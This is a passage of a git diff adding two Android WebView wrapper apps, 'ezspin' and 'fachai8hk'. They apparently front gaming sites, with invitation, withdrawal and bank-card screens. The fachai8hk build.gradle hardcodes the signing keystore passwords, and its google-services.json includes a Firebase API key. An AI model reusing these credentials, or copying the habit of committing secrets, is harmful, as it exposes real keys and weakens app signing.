com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/ezspin/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/ezspin/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/ezspin/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/ezspin/src/main/AndroidManifest.xml b/ezspin/src/main/AndroidManifest.xml new file mode 100644 index 0000000..ee8d477 --- /dev/null +++ b/ezspin/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ezspin/src/main/java/com/web/ezspin/MainActivity.java b/ezspin/src/main/java/com/web/ezspin/MainActivity.java new file mode 100644 index 0000000..f3456fb --- /dev/null +++ b/ezspin/src/main/java/com/web/ezspin/MainActivity.java @@ -0,0 +1,63 @@ +package com.web.ezspin; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import androidx.annotation.NonNull; + +import com.bumptech.glide.Glide; +import com.google.android.gms.tasks.OnCompleteListener; +import com.google.android.gms.tasks.Task; +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 202; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://www.ezspin4.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#010101"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#ffffff"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",0); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); +// showTopV1.setImageResource(R.mipmap.start_gifs); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(new OnCompleteListener() { + @Override + public void onComplete(@NonNull Task task) { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + } + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/ezspin/src/main/java/com/web/ezspin/MyFirebaseMessageingService.java b/ezspin/src/main/java/com/web/ezspin/MyFirebaseMessageingService.java new file mode 100644 index 0000000..6a32e46 --- /dev/null +++ b/ezspin/src/main/java/com/web/ezspin/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.ezspin; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/ezspin/src/main/java/com/web/ezspin/WebApplication.java b/ezspin/src/main/java/com/web/ezspin/WebApplication.java new file mode 100644 index 0000000..f53d0c0 --- /dev/null +++ b/ezspin/src/main/java/com/web/ezspin/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.ezspin; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/ezspin/src/main/res/drawable-anydpi/ic_action_back.xml b/ezspin/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/ezspin/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/ezspin/src/main/res/drawable-hdpi/ic_action_back.png b/ezspin/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/ezspin/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/ezspin/src/main/res/drawable-mdpi/ic_action_back.png b/ezspin/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/ezspin/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/ezspin/src/main/res/drawable-v24/ic_launcher_foreground.xml b/ezspin/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/ezspin/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/ezspin/src/main/res/drawable-xhdpi/ic_action_back.png b/ezspin/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/ezspin/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/ezspin/src/main/res/drawable-xxhdpi/ic_action_back.png b/ezspin/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/ezspin/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/ezspin/src/main/res/drawable/big_bg.xml b/ezspin/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..63b6529 --- /dev/null +++ b/ezspin/src/main/res/drawable/big_bg.xml @@ -0,0 +1,9 @@ + + + + \ No newline at end of file diff --git a/ezspin/src/main/res/drawable/ic_launcher_background.xml b/ezspin/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/ezspin/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ezspin/src/main/res/drawable/input_bg.xml b/ezspin/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/ezspin/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/ezspin/src/main/res/drawable/pass_word_bg.xml b/ezspin/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/ezspin/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/ezspin/src/main/res/drawable/pass_word_bg1.xml b/ezspin/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/ezspin/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/ezspin/src/main/res/drawable/pass_word_bg2.xml b/ezspin/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/ezspin/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/ezspin/src/main/res/drawable/shape_btn_bg.xml b/ezspin/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/ezspin/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/ezspin/src/main/res/drawable/shape_dialog_bg2.xml b/ezspin/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/ezspin/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/ezspin/src/main/res/drawable/shape_dialog_bg3.xml b/ezspin/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/ezspin/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/ezspin/src/main/res/drawable/shape_dialog_bg_new.xml b/ezspin/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/ezspin/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/ezspin/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/ezspin/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/ezspin/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/ezspin/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/ezspin/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/ezspin/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/ezspin/src/main/res/mipmap-hdpi/ic_empty.png b/ezspin/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/ezspin/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/ezspin/src/main/res/mipmap-hdpi/ic_pull_down.png b/ezspin/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/ezspin/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/ezspin/src/main/res/mipmap-xhdpi/ic_close.png b/ezspin/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/ezspin/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/ezspin/src/main/res/mipmap-xhdpi/ic_menu.png b/ezspin/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/ezspin/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/ezspin/src/main/res/mipmap-xxhdpi/app_logo.png b/ezspin/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..cda133c Binary files /dev/null and b/ezspin/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/ezspin/src/main/res/values-en/strings.xml b/ezspin/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/ezspin/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/ezspin/src/main/res/values-night/themes.xml b/ezspin/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/ezspin/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ezspin/src/main/res/values/colors.xml b/ezspin/src/main/res/values/colors.xml new file mode 100644 index 0000000..2b19193 --- /dev/null +++ b/ezspin/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #010101 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/ezspin/src/main/res/values/strings.xml b/ezspin/src/main/res/values/strings.xml new file mode 100644 index 0000000..6795583 --- /dev/null +++ b/ezspin/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + Ezspin + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ezspin/src/main/res/values/themes.xml b/ezspin/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/ezspin/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ezspin/src/main/res/xml/app_updater_paths.xml b/ezspin/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/ezspin/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/ezspin/src/main/res/xml/network_security_config.xml b/ezspin/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/ezspin/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/ezspin/src/main/res/xml/provider_paths.xml b/ezspin/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/ezspin/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/ezspin/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/ezspin/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/ezspin/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/fachai8hk/.gitignore b/fachai8hk/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/fachai8hk/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/fachai8hk/build.gradle b/fachai8hk/build.gradle new file mode 100644 index 0000000..2f260cb --- /dev/null +++ b/fachai8hk/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.fachai8hk" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('fachai8hk.jks') + storePassword "android123" + keyAlias 'key0' + keyPassword "android123" + } + release { + storeFile file('fachai8hk.jks') + storePassword "android123" + keyAlias 'key0' + keyPassword "android123" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "fachai8hk" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_Fachai8hk') +} \ No newline at end of file diff --git a/fachai8hk/dskjweb.jks b/fachai8hk/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/fachai8hk/dskjweb.jks differ diff --git a/fachai8hk/fachai8hk.jks b/fachai8hk/fachai8hk.jks new file mode 100644 index 0000000..cc8a9fe Binary files /dev/null and b/fachai8hk/fachai8hk.jks differ diff --git a/fachai8hk/google-services.json b/fachai8hk/google-services.json new file mode 100644 index 0000000..8576891 --- /dev/null +++ b/fachai8hk/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "645562164198", + "project_id": "fachai8hk", + "storage_bucket": "fachai8hk.appspot.com" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:645562164198:android:173e5f6fd645dfe80e6c27", + "android_client_info": { + "package_name": "com.web.fachai8hk" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyAQKc5SZy8im6rVSYheJlls7ogKSO_eASQ" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/fachai8hk/ppn.jks b/fachai8hk/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/fachai8hk/ppn.jks differ diff --git a/fachai8hk/proguard-rules.pro b/fachai8hk/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/fachai8hk/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/fachai8hk/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/fachai8hk/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/fachai8hk/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/fachai8hk/src/main/AndroidManifest.xml b/fachai8hk/src/main/AndroidManifest.xml new file mode 100644 index 0000000..54f7f35 --- /dev/null +++ b/fachai8hk/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/fachai8hk/src/main/java/com/web/fachai8hk/MainActivity.java b/fachai8hk/src/main/java/com/web/fachai8hk/MainActivity.java new file mode 100644 index 0000000..087f20a --- /dev/null +++ b/fachai8hk/src/main/java/com/web/fachai8hk/MainActivity.java @@ -0,0 +1,49 @@ +package com.web.fachai8hk; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import com.bumptech.glide.Glide; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 41; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://fachai8hk.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#e5e6e6"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#dac591"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",0); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(true); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/fachai8hk/src/main/java/com/web/fachai8hk/MyFirebaseMessageingService.java b/fachai8hk/src/main/java/com/web/fachai8hk/MyFirebaseMessageingService.java new file mode 100644 index 0000000..48cf7d3 --- /dev/null +++ b/fachai8hk/src/main/java/com/web/fachai8hk/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.fachai8hk; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void 